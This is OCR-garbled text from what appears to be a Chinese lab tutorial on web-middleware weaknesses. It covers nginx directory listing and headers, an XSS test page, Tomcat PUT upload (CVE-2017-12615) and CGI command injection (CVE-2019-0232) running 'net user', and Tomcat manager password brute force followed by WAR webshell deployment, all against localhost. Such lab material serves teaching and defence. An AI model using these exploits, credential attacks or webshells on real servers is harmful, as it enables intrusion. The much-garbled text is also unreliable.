[~ Ensble Post data [ Enable Referrer

Index of /files../

i

DVWA/S 05-Now-2017 12:01 -

dwwallllils 19-New-2017 11:22 -

home/ 11-May-2019 05:26 -

phplvidmin/ 11-New-2017 08:13 -

B N 31-Dec-2018 07:42 -

Error—output. txt 30-Dec—2018 03:02 0 b
fileinclude. php 17-Naw-2018 05:46 71

info. jpz 17-New-2018 13:35 5

info. php 17-Now-2018 13:35 25

info. php. xxx 17-Nov-2018 13:35 25

ip.php 30-Dec-2018 13:02 203

ip. php. bak 30-Dec-2018 13:01 186

phpinfo. php 17-New-2018 13:35 a5 El
shell. php. bak 31-Dec-2018 07:44 ar

[C3-8:478

ST EARiElocationFlalias i #5 47 i 42/ s # AT XA 5 42

H 3% i
HNginxiE B S fFH, autoindex HIME yonib, A it A H il il -



XFE REE B0 ZEFW B
client_max_body size 188m; -]
client_header_buffer_size 256k;
large_client_header_buffers 4 256k;

= [=] .

server §
listen 80;
seryer_name localhost;

#icharset koi8-r;

#taccess_log logs/host.access.log main;
rookt oAU
location / ¢

niex PX
i
location ffiles {

autoindex on;
alias c:/WWW/home/;

index.htm index.php 1.php;

H
fterror_page 484 /404 .html;
#t redirect server error pages to the static page /58x.html
]
error_page 508 502 503 504 /58x.html;
location = /5@8x.html {
root html;
H
#t proxy the PHP scripts to Apache listening on 127.8.8.1:88
3
4] A7
45

htip

dme. html X

Index of /

—
[\(-] Do1Enao & C‘| ) |CU'£§ | wBe ¥+ @ 2 (- B » =
LMETCRAFT - Servicess | [Wo infermation svailable]

THT v| = & S@L- ¥S5- Eneryptions Encodings Otherw

s Load URL http: /M127.0.0.1F .
0 split L *
) Execute

[~ Enable Fost data [ Enable Referrer

Index of /

o d

DVWA S 05-Now-2017 12:01 -

dwallllils 19-Now-2017 11:22 -

home/ 11-Nay-201% 05:26 -

phplvAdmin 11-Now-2017 08:13 -

o 31-Dec-2018 07:42 -

error—output. tut 30-Dec-2018 03:02 0

fileinclude. php 17-Nov-2015 05:46 Tl

info. jpg 17-Nov-2015 13:35 25

info. php 17-Nov-2015 13:35 25

info. php. xxx 17-Now-2018 13:35 25

ip. php 30-Dec-2018 13:02 203

ip. php. bak 30-Dec-2018 13:01 186

phpinfo. php 17-Now-2018 13:35 25 =
shell. php. bak 31-Dec-2018 07:44 27

BEEW

Hautoindex 11t Jy & Hoff.

add_header#} 7

NginxHI A & L7 JyServer. Location®s bt E B, JF HAFAERE KRR, THREMPRIREK —LLIET, tinadd_header.

WRECE T, G (Bt N T CSPk:




Bl P ccine conf - jd3EE
T EEE sEE BA0 EZF0 MR

—lo|x|

¢ client_max_body size 100n;
-| client_header_buffer_size 256K;
large_client_header_buffers 4 256K;

server {
i listen 88;
| server_name localhost;

add_header Content-Security-Policy "default-src ‘self’
add_header X-Frame-Options DENY;

#charset koi8-v;

#access_log logs/host.access.log maing

root "o AU

location / {
index index.html index.htm index.php 1.php;
autoindex off;

¥
location = ftest2 {
i hdd_header %-Content-Type-Options nosniff;

rewrite “{.x)$ /xss.html break;

H
I #error_page 484 F404 html;

# redirect server error pages to the static page /58x.htnml
#
error_page 580 582 583 584 /50x._html;
location = /58x.htnl {
root  html;

¥ B
K| A
I LRV i
BBurp Suite Professional ¥ orary Pr censed to surferxyz — ol x|
Burp Intruder Repeater Window Help
Target | Fioe | Spider | Seanner T Intruder T Fepeater T Sequencer I Decoder I Comparer I Extender T Froject aptions T User options | Alers
J IntalceptT HTTP history I YiebSockets history T Options ]
Respense from hitp:ff127.0.0.1:80¢p hpinfo.php
[ remaa || Drop | [Cinterceptison | Action Comment this item +)
Raw | Headers | Hex | HTML | Render
HTTP/ 1.1 200 0K |‘

Server: nginx/1.6.2

Dace: Zac, 11 May 201§ 08:10:15 GHT

Content-Type: tese/ heml

Comnection: close

Vazy: Accept-Encoding

H-Powezed-By: PHP/5.3.25

Content-Security-Folicy: default-szc 'self’ | IEAJL-I 4y 4 N
H-Frame-Options: DENY |% B iR —F E{JSCPJ_\‘

Content-Length: 702872

<IDOCTYEE h
<heml xmlns="herp: //wew wl_ erg/ 1999/ whtml "><he ad>
<style type=ttext/czs">

body {background-color: #FFEFFE; colox: #000000;}
body, td, th, hl, h2 {font-family: sanc-cexif;}
pre Imargin: Opx; font-family: mom:
a:link {color: HD0ODSS, tex
a hover {text-decoration: underline;}

table {border-colla collapse, b

.center {text-align: center;}

.center table { margin-left: muto; margin-right: auto; text-align: left,}

1.0 Transitional//EN" "DID/x

wli-transitional. déd">

Tor: HEFFEFE;}

L)

=
center th { text-align: center limportant; } v
€A Fh T Rnvdave Tmu salid BANANNN . Fambordmar TRE- semwbiaaloaldem: hacalimal
? < + > Tyoe = seamh tem 0 matches
location = /58x.html {
root  html;
b &
4

i) test2it, XSS#ifih% . [H/test2(fjlocation Fi% i 1 X-Content-Type-Options, F#AH i ffjadd_header 4334 .



1) XSS Vulnerability

(€ & x| ® [are |%& ¢ & © »- 8 & & @
i AMETCRAFT - Services- | [No information svailable] licensed to surferzyz

g [ | = @ sgi- %S5+ Encryptions Encedings Others

B Load VL [heep//127.0.0. tesizrl _

S
g 127,000 1/ test2?1

Decoder

Li B x== htel - £%FE

IE WEE B0 HFW M
<*DOCTYPE html>

<html>

<head>

<title>XSS Uulnerability</title>
</head>

<body>

<img src=1 onerror=alert(1)>
</body>

</htnl>

™ Ensble Post data [ Enable Referrer

EEEHEE 1270001 BIEE--

) 1 B s  Ristad {} FlimaEa & tdER

o EEl o s 0 ome FH OEE EE Meh w5 Ei Q@ 2 iEk,
fhe FiE g H Cooliie 8

TERFE: hiep://127.0.0. 1/ tast2?1

IEERHE 1270018080
#&W: @ 200 08
MR NITR/1L1

R B

Date: “Sat, 11 May 2019 08:17 38 GHT”

Etag: “"Scdffddf-82""

Last-Modified: “Sat, 11 May 2019 05:16:31 GNT"

Server: "nginx/l.6.2"

x-content—typeoptions: "nosniff”

TEECE W TET

Tomcat

Tomeat 55 a1 — e ST RIS (K Web SEJHARSS 4%, J8 TR b ) o548, 2 b NI R GERDER VI P AR IR Z (0356 TR @, 2IFk
AEIRISP 2R B ik 0T — IR, WTLLZFEA, U7E— G hLEs LACE i Apache 5545, WA EMIR HTML C dried@ Al bRic i & P —A
BEFD BRIV AR . 92FR - Tomeat/EApache Il 55 8104 &, (HIZATIN € RALIZATHY, Ll iziTtomeat I, &5:FR BAFA—A> 5 Apache it i
TERAEIT

Tomcat {E = X5 A\ (CVE-2017-12615)

4. Tomeat/8.0.30

I A 5 /2 Tomceatiit B SC1/confiweb.xml fit & T 75 (readonly=false) , F3RA1ml LAAE i 4% % 5 SCF -

J=pStudyitomcaticonf! EditPlus =] ]
S REE BT EFG UEQ FE® TAE HESQ ZeCading BOE B _ &) =

5 daE8Yeld 0 x]9 ¢ o te 5 ainw] 2k
@B s UAd o u|l@d= 2| dET == |Adase | SH
I 5

A2 |wam|al] I L B 4 =]
al globalXsltFile dite wide configuration version of -
[c:1 a9z local¥sltFile. This argqument must either be an --» —
Y a3 ahsolure or relative [to either -
| Documents and Se a4 §CATALINA BASE/conf or §CATALINA_HOME/conf) -—
Bl | Administrator a5 path that points to a location below either -
=] =1i] 26 §CATALINA BASE/conf (checked first) or -
| EditPL a7 §CATALINA HOME/conf (checked second).[null] -
98 -
a9 showierwverInfo Should serwver information be presented in the -
100 response sent to clients when directory -l
101 listings is enabled? [true] -l
10z
103 <servlet>
4 _’I 104 <aervlet-hane>defaul td/servliet-nanes
105 <servlet-classxorg. apache. catalina. servlecs.Defaultiervlets fserviet-classy
AT 58 re 106 <init-params
)ﬁijué&i}lﬂ%ﬁﬂ%$ 107 <paran-nanexdebugd Jparan-nanss
asm. stx 108 <param-value>0</paran-value>
autoitd. stx 109 </init-param>
autoitifun ctl 110 <init-param
:3:2:3;"'; E& 111 <paran-nanerlistings</paran-name: :I:Eléjju T ﬁgfﬁ@aﬁ %ﬁﬁ’“‘]ﬂ ],;J\
bat. stx 11z <paran-valuektrued fparan-values H L ¥
codepage. txt 113 </init-paraw- o _—
o b o <fmepere ] R4S 58 b5 A
CONTAOL. CTL 115 <paran-nanerreadonly</paran-name> ’
CPP.STY 116 <param-value>false</paran-walue>
cs. stx b 117 </finit-par
ess. six 118 <load-on-startupkld/load-on-startups
S5z, CTL 119 <fgervlety
editplus. chm
EditFlus. exe 120
editplus_u ini 121
e 122 <!-— The T3P page coupiler and execurtion servler, which is rhe mechanism -
BRI (%) Fll 133 <1 used he Tomear. tn sumnart 5P names.  Tradisiomal Ly, this ssraler -, B
Lo Sweb, xnl "

T —— = = = —

Wi B )5, i E A Tomeat, RORWIT:



It E)
QFE - O

BBurp Suite Professional v1.7.34

Burp Intiuder

Fiepeater Window Help

Temporary Project

|5 - \J=pstndy

totx a1

icensed to surferzyz

Wit @) |5

Target | Proxy | Spider | Scanner T Intruder TRepeatel T Sequencer T Decodar T Comparer T Extender T Frojest options T User aptions | Alerts

&R -~

() phpr oot
B 5sp
[E)j=ptest. j=
[2]ny=altest.
&]phptest. hin

1= |2 = |3

= | a

3

8 x |7 = |8

shell

I )

&

Go Cancel <|v > Target: hitp:i27.0.0.1:8080 | ) | 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
PUT /1.jsp/ HITP/1.1 A HTTP/ 1.1 201 Created A
Host: 127.0.0.1: 8080 Server: Apache-Coyote/ 1.1 -
User-Agent: Mosilla/5.0 i(Windows NT 5.2, rvw:48.0) Gecko/Z20100101 Content-Length: 0
Tirefox/40.0 Date: Thu, 16 May 201% 00 20:18 GMT
Accepr Cormection: cloxe
wext/heml , appl icavion/xheml+uml , appl ication/sml | q=0.8,% % q=0.8
Accept-Language: sh-CN,sh;q=0.8,en-US;q=0.5, en;q=0.2
Accept-Encoding: gsip, deflate
T 1
Cookie: a=l; JSLSSIONID=02CEASEABEEISETO2ALG37516DT2AECT
K-Torwarded-Toxr: §.8.8.8
Conmection: clase
Upgzade- Insecuze—Requests: 1
Content-Length.
=hell
. b
v A
Tioe 2 seamh teq 0 matohes ? = + s Type @ seamh tem 0 matohes

126 bytes | 266 millis

Intruder

Burp

Repeater Window Help

Temporary Froject

licensed to surferxyz

|
T EE T

(=]

Target | Prowy | Spider | Scanner I Intruder TRepeater T Sequencer T Decoder T Comparer T Extender I Projest options I User options | Alerts

1|2 (3« [ax|5 |87 8
Go Cancel < v > Target: hitp127.0.0.18080 | ) | P
|| Request Response

Raw | Params

Headers | Hex

Raw | Headers | Hex | HTML | Render

PUT /3_3sp/ HTTE/L.1 A HITE/1.1 40% Torbidden A
Host: 127.0.0.1:8080 - Server: Apache-Coyete/L.1
User-hgent: Mosilla/5.0 (Windows T 5.2; zv:40.0) Content-Type: text/html; charses=ucf-§
Gecko/ 20100101 Firefox/4d5.0 Content-Language: en
hecept: Content-Length: 1004
text/html , appl ication/xhtml+xml , application/xml jq=0_5,* Date: Thu, 16 May 2018 00:21:41 GMT
J*q=0.8 Connection: close
Accept-Language: sh-CI, sh;q=0.8, en-US;q=0.5,en;q=0.2
. Becept-Encoding: gsip, deflate <IDOCTTEE htmlscheml >chead><ticle>hpache Tomeat/8.0.30 - Errox
Somr: o1 report</titleristyle type=ttext/css">H1
Cackie: a=l; {font-family: Tahoma Rrial,sens-sexif, colox:white hackground-colox
JSESSIONID=03CBASE4EEE39ET03A1627S16D73ALCE :#525076,; font-size: 22px; } H2
H-Forwarded-For: 8.5.8.8 {font-family: Tahoma Arial,sans-serif; color:white ;background-colox
I Connection: clase +#525076,; font-sige: 16px,;} H3
: Upgrade-Insecuze-Requests: 1 {font-family: Tahoma Arial,sans-serif color:white ;background-colox
: Content-Length #525D76; font-size: 14px,} BODY
] {font-family: Tahoma Arial,canc-cerif colox:black ;background-colox
shelll iwhite;} B
E {font-family: Tahoma Brial sans-serif;colox:white hackground-colox
14525076} P
3 {font-family: Tahoma,Rrial,sans-sexif;background: white ;color:black
v font-zize:12px;}R {cclor : black;lh.name {cclor : black;}. line v
d < + > Type 2 seamh tem 0 matches ? < + = Type 3 seamh temr 0 matehes
‘

Laone

1,196 bytes | 172 millis

R #W

Fireadonly=true, %kik Atrue.

Tomcat iz 2RI AT

FmyEHE: 9.0.0.M1~9.0.17,8.5.0 ~8.5.39 ,
MRS Windows

pliRezS
Apache Tomcat v8.5.39
JDK 1.8.0_144

TEURLE
web.xml

<init-param>
<param-name>debug</param-name>
<param-value>@</param-value>

</init-param>

<init-param>
<param-name>executable</param-name>
<param-value></param-value>

</init-param>

7.0.0~7.0.93

(CVE-2019-0232)


https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39-windows-x86.zip

o > =ial
\orsi S=TH
50 ”*@) B DI RO m»%s@ Z"‘E"“"“ F® ﬁ . I GEO SR0) BRSO INQ IR Ilw WEBQL Zen Coding FO® FH 1813
el =l /|3
@& REFEET- 2 Al A =la ] Oa @Dk
B = = = ==
! ‘ [EEICNE Io\“uA.m”mq,emma.n._m-msr\ T A=l |
gl
; B2 |xam| ol ; T
=5 e g
- ©1 Coervlet-nanerogic/serviec-naae>
o b Lets. CoTserv1
] Sritepe B Docments wase| 7 pisiinaes
strator Ty e I Pazan GG ALPL S X< pazsn-name> H
h pecam nane>cotPaPEetixe/paran-nane> & : scen-nene>cgiPaTPLetixc parea-niae
- aran-values IS T cgic paren- varies slam | el i -
b </init-paramw> B ELD apache] 382 =T -
S Cloat-on-starcp>S</Load-on-startup> 30w s
ervies - 384 <param-value>0</param-value>
Buttc Tn Seriec Xppings m | e
The servies meppings for the MLt in servlets defined sove. Hote o e mmotbied s s HUHER RIS
Thet, by default, the COT and 51 servicts are mmots mepped.  Tou « e e i puraa-valus
ies - WuSt uncomment chese meppings (or add chen to yow o catalina policy 390 <load-on-startup>5</load-on-startup>
Tehornl deployaent deseriptor) ©o cneble theee serviees Sl et | O LR
- Conteet ot : .
o e aepping for the detante sereter FROL N Bt In secves mppinge
SEID e Roshnd e 4 Ty by detaty e CET and S91 scrvicts atc Tmots napped: T
Sl e detanee e server sl 395 Bust uncounent these neppings (or add thew to your application's om
- et = Abal deployaent desceiptor] © entble these SeEvices
- The nappings for the ISP servicr - 3 o e meptng tox che detaule sexvice >
P 0 et et ser e e
P A a01 <url-pattem>/</url-pattemm>
| JEUE < rvlet-mapping
ir1-pattern>®. jsp</url- parrexn} s wzsnv?fnx he 357 servier -
</sexvlec-nepping 404 <setv)z\: -usppin
e wepptng for the S51 seveler i0s Coeevict nane>ape/serviet-nanes
<t The napping for the SST serviec --> a06 <url-pattem>*. jsp</url -pattem>
a0 e e i
servietaa
<sqzvlq€fm\mz)u1(/snvlec nene @8 </serviet-nspping>
A e The nepping for the SST servier -->
serviecmamping. T eter uapin
a Cecrvlet-neat>ssic/serviec-nane>
1o The sapping fon che COF Gacenay servies o © S iy
as o
5 <o The mapping for the COT Gatevay serviet >
[FR— 07 <ovicemamping K
cemlermmecoi/seienme W o Catoler naaescgte/serviet nines
e partem o » as Gl pareerns ot e parienny | —
. v @20 </serviet-napping
H Faer oo =l o i

content.xml

Rl ERE ¥ED) FEE TAG AREBL) Zen Codine BHOE B MC:\Documents and Settings\hdministrator \ELH\ap o
7(_‘\.{ o x‘-, ‘;. A (B \AﬁHx\w rE .Hﬂ/l‘c{*m) WEE ST ¥EQ YHE@ FEE IA© NEBL Len Coding HFOE
\nb.J]m\ﬁ_t = B e =kl S e @@ el § 20 %9 et 5+ afm]w] PEEEER]

E @B 7 UAd|mJ 1H|AE= 20| =] A a s [ Lo @5 |2 BT 6 )]
1.0" encoding="UTF-5" #> FES |K$E|i‘ ]

N
T kol vereion
z <lem
5 Licensed to the Apache Softwars Foundation (ASF) under one or more
1| Dorunents and Se| 4  contributor license agreements. Jee the NOTICE file distributed with
£ | Adninistrater| 5  this work for additional information regarding copyright ownership.

6

7

8

E]

0" encoding="UTF-&" 7>
3 Licensed to the Apache Softwave Fowwdation (ASF) widsr one or wore B
4 contributor license agreements. See the NOTICE file distributed with [ gt
5 this work for additional informarion regarding copyright oumership.

5 The ASF Licenses this file to You under the Apache License, Version Z.
5
s

ithe "License”); you may mot use this file except in complisnce with

o I The ASF licenses this file to You under the Apache Licemse, Version 2.0
the License. You may obtain a copy of the License ac B L spache (the "License”); you may not use this file except in compliance with
B the License. You may obtain a copy of the license at
10 http: //wnr, apache. org/licenses /LICENSE-2. 0 R
u ERkEL 1o htep: /v, spache. org/licenses/ LICENSE-2. 0
12 Unless required by applicable law or agresd to in vriting, software i
1:  distributed under the License is distributed on an "AS IS” EASIS, 12 TUnless reguired by applicable law or agreed to in writing, software
14 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implie 13 distributed under the Licemse is distributed on an "A§ I5" BASTS,
18 See the License for the specific language governing peruissions snd | 14 WITHOUT WARRANTIES OR CONDITIONS DF ANY KIND, either express or implied.
16 limitations under the License. I

15 §ee the License for the specific language governing pernissions and
catalina. pol 16 linitarions under the License.
eatalina. properties 1

17 -
18 <!-- The contents of this file will be loaded for each veb application -

19 <Context privileged="true'> @ 16 <!-- The contents of this file will be loaded for each web application -->
20 i j]l]perl legen f_&,_ Jespicprovidarsanl || 13 <Context>
21 €1-- Default set of monitorsd redources: If ome of these changed, Uf|jsspie-providers.xsd | zn
22 €1-- veb spplication vill he reloaed. Loecine properties 21 <!-- Defeult set. of monitored resources. If one of theae changes, the
23 CUatchedResource>UEB-TNF fueb. xnl</lstohs dRe source> sl ol 22 <1 v plication vl be scloaed:
24 CiiatchedResnurces$ (catalina.base} /ont fueh.xnl</TarchedReaonrce>  |Vimestousers, ned 2 B~ INF /veb . xul<
25 bzl 2a et Resoupoesd (FaCal ina.bagt ) /GonE, weh. LG, Jatehs REseraEe s
26 <!~ Uncomment this to disable session persistence across Tomsat res[wedsnl.bak z5
27 26 <1-- Uncomment this to disable session persistence across Tomcat restarts -->
28 <Hanaqez pathname="" /> 27 <ie-
20 28 <Menager pathnane="" />
%0 </comme> =
ol 30 </Contexts
1

£ Tomcat\webapps \ROOT\WEB-INF #i i cgi H 3%, FF0li#1xhsec.bat 31, WAEILRE.

il http://127.0.0.1:8080/cgi-bin/1xhsec.bat?&dir

atThiir X

FEDEAAREE 1 {rordwesy: bresioword 14100 poudit ( solo IR
THE HBE BV kEW TAD e

| = o SOL BASICS- VFION BASED- ERROR/DOELE QUERY- TOOLS- WAF BYRA

4 Logd WL  (http://127.0.0.1:8080/cgi-bin/lxhsec. bat?adir ORE-O - |Pae Cxir &0 X9 E 2

i smom itk W) [ Set times\Rdnini strator\ B\ apache—tomeat-8. 5. 39-windows—xB6\ apache-toncat—8.5. 30w ebapp s\HOOTWWEB-1HFcci = | (29 ¥
e I EXNE=] IR IEEE

O e [F1xhsec. bat. L KB Windows HZMETH 2019-6-24 20:33 A

[ Post dats [ Referrer @K 4R 3B @x HIL wm 4

@5~ Kockies~ Lrs5~ [JFEE~ @EK~ QFTRER~ [HbDE- AFid>
=
Adarc T Services /m*w SEE Sn@ PRGQ IAQ FEE TAQ MEBL ZeColine BOE HEH =

C:\Documents and Settings\.f\dministrator\;‘J DEd@adPelld LOX9C/L%H4 V\E@EH&?‘
\ROOT\WER-INF\cgi f1EF a2 |sm:|ml; — Em — ;
AN

X

[c:1

2019-06-24 20:31 <{DIR> . ey

, Documents and Se
2019-06-24 20:31  <DIR> . ] Jreaciuohi
2019-06-24  20:33 10 lzhsee| TEE
1 3 10 F7 R
2 NEFE 1,263,558, 666 TR =0

8]

KT [—

HAT A4 http://127.0.0.1:8080/cgi-bin/1xhsec.bat?&C: /WINDOWS/system32/net+user



ESESRTT 7 e e
@) @ TEWEMEFE 1a [ werdwrap: bredoword, }4.1@J )a.Qjaiﬁd { coler: #e0422ﬁ4oﬁ'. o @ @S 5B [+ & @
IHT | = & sSOL BASICS- UNION BASED- ERRDR/DOVELE QUERY- TOOLS- WAF BYPASS- ENCODING- HINL- ENCRYPTION- OTHER- KSS- LFI-

4= Lozd URL http://127.0.0.1:6080/ cgi-bin/lxhsec. bat?8C: AWINDOWS/ systen3Z nettuser|

B split L

b Execute

Insert replacing stri ¥ B

[" Post data | Referrer <8 OuiEX e g SUEL @ BASEGY W Tooort sering to rep1|
@ER- Ltockiesr o055~ [JFE- WEE- QFREE- DEMHE- JFi- SRN- ATE- EESEEE- (1Em-
HETCREFT -+ Services- |

\\LXHSEC1-2688B1F ByA Fik

Administrator Guest SUPPORT_368945a0
fr$ e

Note:netfir & {12 Z 5 42, 4 Snet user, Tomcati# il & 2 mnet AR N4, WARMBITIIRER, b LA+ ERE, A4, %28
AR, Bl SRS

BB
ARSI, WRATTE T, % % SR

Tomcat + 55 14 && J5 4 getshelli i
8. Apache Tomcat/7.0.94

1Econflitomeat-users.xmiSC{F: e # 1  FBCRR «

<tomcat-users>

<role rolename="manager-gui"/>

<role rolename="manager-script"/>

<role rolename="manager-jmx"/>

<role rolename="manager-status"/>
admin-gui"/>

<role rolename="admin-script"/>

<role rolenam

<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

IEH 2B MTEBL T, tomeat7.0.94 BRIV A LA/, Hmanager SUE R v AMIPY . WA & G F AN 7X@t~ 4w et r Bt

Vil http://127.0.0.1:8080/manager/html i A 55 % ititomcat:tomeat, %5 £

Start Reload | | Undeploy
fexamples None specified Servlet and JSP Examples true [
Expire sessions | with idle 2 30 minutes
Start | Stop || Reload | | Undeploy
/host-manager None specified. Tomcat Host Manager Application true [
| Expire sessions | with idle > 30 minutes
Start_Stop Reload_Undeploy
/manager None specified Tomcat Manager Application true 1 e
Deploy directory or WAR file located on server
Context Path (required): |
XML Configuration file URL: |
WAR or Directory URL: |
| Deploy |
WAR file to deploy
Select WAR file to upload | St AT S —
| Deploy |
Check to see if a web application has caused a memory leak on stop, reload or undeploy
‘ Find leaks This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems. |
Tomcat Version VM Version JVM Vendor 05 Name 05 Version 05 Architecture Hostname 1P Address
[ Apache Tomcat/7.0.94 | 1so91bia | Oracle Corporation [ windows10 | 100 | amd64 | DESKTOP-7TSAHES | 172262081 |

Copyright © 1999-2019, Apache Software Foundation

Ak pwar i :
jar -cvf Ixhspy.war Ixhspy.jsp

HEFJG, Vil http://127.0.0.1:8080/warti 4 /454 N L4, R .


http://127.0.0.1:8080/manager/html
http://127.0.0.1:8080/war??/??????

< C © O 127.0.0.1:8080/Ixhspy/Ixhspy.jsp & % & oS = 60

A
WA & b= clEER src = WEb Y 7E2#1% HE o Python Extension.. o Python Extension.. <& Python for Windo... » HittHE
127.0.0.1:8080 (172.26.208.1) | sopy. - | webapps
B
% = T sREme - [P35
ol o S ® X ) gmmiE - i
EEE SE OB o SUSEHE B Ees wE Bt
BREHE S P oFniER
B =l e TF
= v 4> XemEs > AR (C) > AP > Ixhsec > TE > apache-tomcat-7.0.94 > webapps
0 |thgv::NF _posts =" h EHEN g t
. META-INF .
[} [ ixhspysp 2 2019-05 docs 2019/5/1918:26 ST
jspspy examples 2019/5/191826  XtE
middleware host-manager 2019/5/191826 =
& Onebrive Ixhspy 2019/5/192208 =
manager 2019/5/191826 ik
T3] S ROOT 2019/5/191826 etz
PELDE [ Ixhspy.war 2019/5/1922:08  WAR i
B WA .
= #8E MIwar f fEwebapps T .
BRI

1. AW, HEmanager/htmlDfg.
2. AEMH, manager (i B H fo AP ]

Tomcat manager App & /11 fi#
#%i: Apache Tomcat/7.0.94

il: http://127.0.0.1:8080/manager/html, 4 N5, 4L, WK,

- Temporary Projec ensed to surferxyz

Burp Intruder Repeater Window Help

[Target ]'F’ruxy I Spider I Scanner Y Intruder I Repeater I Sequencer I Decoder I Comparer I Extender Y Project options I User options I Alerts r

Jlntercept T HTTP history IWebSockets history [ Options }

[ #] Request to http://127.0.0.1:6080

[ Forward J [ Drop J I Intercept is on ] [ Action

Raw | Params | Headers | Hex

GET /manager/html HITP/1.1

Host: 127.0.0.1:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64: rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html, application/zhtml+xml, application/=ml;q=0.9, */*;q=0.8
Accept-Language: zh—CIN. zh:g=0. 8, en-U3;g=0, 5, en:g=0. 2

Accept-Encoding: gzip, deflate

DNT: 1
Referer: http://127.0.0.1:8080/
Coolie: __atuwve=T%7C8

Comnection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic dGO9tYZFO0OwFLbWlu

WA S N K5 30 EHT TP B b i AuthorizationH, - #ili yBase64Encode(user:passwd)
Authorization: Basic dG9tY2FOOmFkbWIu
RS2 SN :

dGOtY2F0OmFkbWIu

tomcat:admin

HE A 5% Flintruder B, IFh1ldGOtY2FOOMFkbWIu .

Payload typeji## Custom iterator, ¥ =/ position, 1A 5L, 20:, 3MNEMT UL, i Payload Processing JyBase64-encodef |


http://127.0.0.1:8080/manager/html

Target | Positions | Payloads I Options }

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are a

Payload set: | 1 Payload count: 12

Payload type: | Custom iterator

Request count: 12

Payload Options [Custom iterator]

This payload type lets you configure multiple lists of items, and generate payloads using all permutations of items in the lists.

Position: @ Clear all

List items for position 3 (4) B

Paste admin
| admin888
Foadis admin123 >
Remove |  fomeat
{ Clear J
Add Enter a new item
{Md from list ... ‘v}

Separator for position 3

Preset schemes: {Chaose a preset scheme ‘V}

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add HEnab\ed | Rule | B

‘ ™ Base64-encode < ‘
Edit

i J5 LK Palyload Encoding4fis
rget ‘ Positions ‘ Payloads | Options ‘

Request 4| Payload Status |Emor | Timeout | Length Comment
Remove | [oMeat 0 401 8] [ 2864
— 1 YWRIaW4BYWRtaW4= 401 8] [ ess¢
l Clear J 2 dGItY2F0OmFkbWWIU 401 3] O 2864
Add Enter a new item 3 dXNicjphZG1pbg== 401 o o 2864
4 YWRtaW4BYWRtaW440Dg= 401 =] O 2864
| Add from st ... 5 dGOtY2FOOmFkbWIUODg4 401 =] [ 2864
5 w01 OO e
Separator for position 3 7 YWRtaW48YWRtaWaxMjM= 401 [m] (] 2864
8 dGOtY2FOOmFkbWIUMTIZ 401 o O ess4
9 dXNicjphZG1pbjEyMw== 401 =] O 2864
10 YWRIaW4BdGHY2F0 401 o [ 2864
11 AGAY2EN0NR == 4m im| Im| 64

Preset schemes: | Choose a preset scheme
Request | Response
| Raw | Params | Headers [ Hex
j Payload Processing

CET /manager/htul HITF/L. 1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Vindows NI 10.0: WOVG4: rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/htul, application/xhtnl+xnl, application/znl;q=0.9, #/%;q=0. 8

You can define rules to perform various process

l Add J Enabled ‘Ru\e Accept-Language: zh-CN.zh:q=0.8, en-US:q=0.5, en:q=0.3
E ing: gzip, deflate
5] BaseB4-encode  |pup. 1
Referer: http://127.0.0.1: 8080/
Cookie: __atuve=Th7C8
Remove Commection: close

Upgrade-Insecure-Requests
futhorization: Basic d)\Nchph G1pbjg40AN3dN3d

EE

[ Down

u B B EJ Type a search term

Payload Encoding Finished [

This setting can be used to URL-encode selected charac(ers wrthm the final p éuad for safe transmission within HTTP reque:

e—{HPayload Encoding, 7 MBERMECK 2P HurlgRiE. QDJ:EI}]%Sd%?;d B REUBRT LA

¥ URL-encode these characters: | A=<>7+&7"[}}*

g R



N

Attack Save Columns

ck 4

J Resuits T Target [ Positions I Payloads [ Options }

SOL_En:

‘ Filter: Showing all items

Start attac|

-
B
o | |
Man |

Request | Response

Request | Payload [Status  a|Error | Timeout |Length | i,

11 dGYtY2F0ONRvbVWNhdA== 200 \ (w] (m]

0 401 o 0O 2864

1 YWRaWABYWRiaWd= 01 o O e |,

2 4GOtY2F00mFKbWIu 01 o O e ||

3 dXNIciphZG1pbg== 201 o O 2864

4 YWRIWABYWRIaW440Dg= 401 o O zmes | D53

5 dGIOtY2F0OmMFkbWIuODg4 401 [w} [} 2864 [

6 dXNicjphZG1pbig4OA== 401 o O 2ses | MOAIE:

7 YWRGWABYWRaWAxMM= 401 o O zees ||

8 dGILY2F0OMFKbWIUMTIZ 401 o O 2864 | Baoobd: W

9 dXNiciphZG1pbjEyhlw== 101 g O 2884 [dﬁg'“m”"”"h“’”hd‘““ Basebd

10 YWRtaW4BdGY2F0 40 1 1 64 B aseb 1 context.xnl
B asebd: r—

Raw | Params | Headers | Hex

tomcat tomeat
r .

GET /manager/htnl HTTP/1.1
Host: 127.0.0.1:8080
User-Agen

Mozilla/5.0 (Windows NT 10.0: FOW64: 1v 48.0) Gecko/20100101 Firefox/48.0

ToTwSTwITIT T
U thus ace ignored
ks for use with the

I

Accept: text/htnl. application/shtnl+znl, all])llcat)nn/xml a=0.9,4/4:q=0.8 ..> that surrounds

Aceept-Language: zh—Cl, zh:q=0. 8, en-US: =0. 5, en:g=
Accept-Encoding: gzip. deflate
DNT: 1

appropriate.

Cooe ey BRI ER B, RS 200

Comection: close
Upgrade-Insecure-Requests
Authorization: Basic dGOtY2F0OnRvbTIhdA:

F"tomcat"/>
tomcat, rolel"/>
[2frole1n/>

BEEE

0 matches

Finished |

Preset schemes: | Choose a preset scheme |

R #W

LI, B manager/html ) fE .

. AE{EH, manager UL R A VAP )

JBoss

jBoss ANk T J2EE M IT A IFARTS ) B F AR 55 4% -
FFEJB1.1. EJB 2.0F1EJB3HIRLE . (HIBossiZ Lok A3 Fiserviet/ SSPHIWEBZ 8, —fi 5 TomeatmJetty 44 5E 8 11 .

BRiki 11:8080,9990

Windows Jboss%%,

N

T #khttp://jbossas.jboss.org/downloads/

<role rolenane="manager-3imK"/>

<role rolename="manager-status"/>

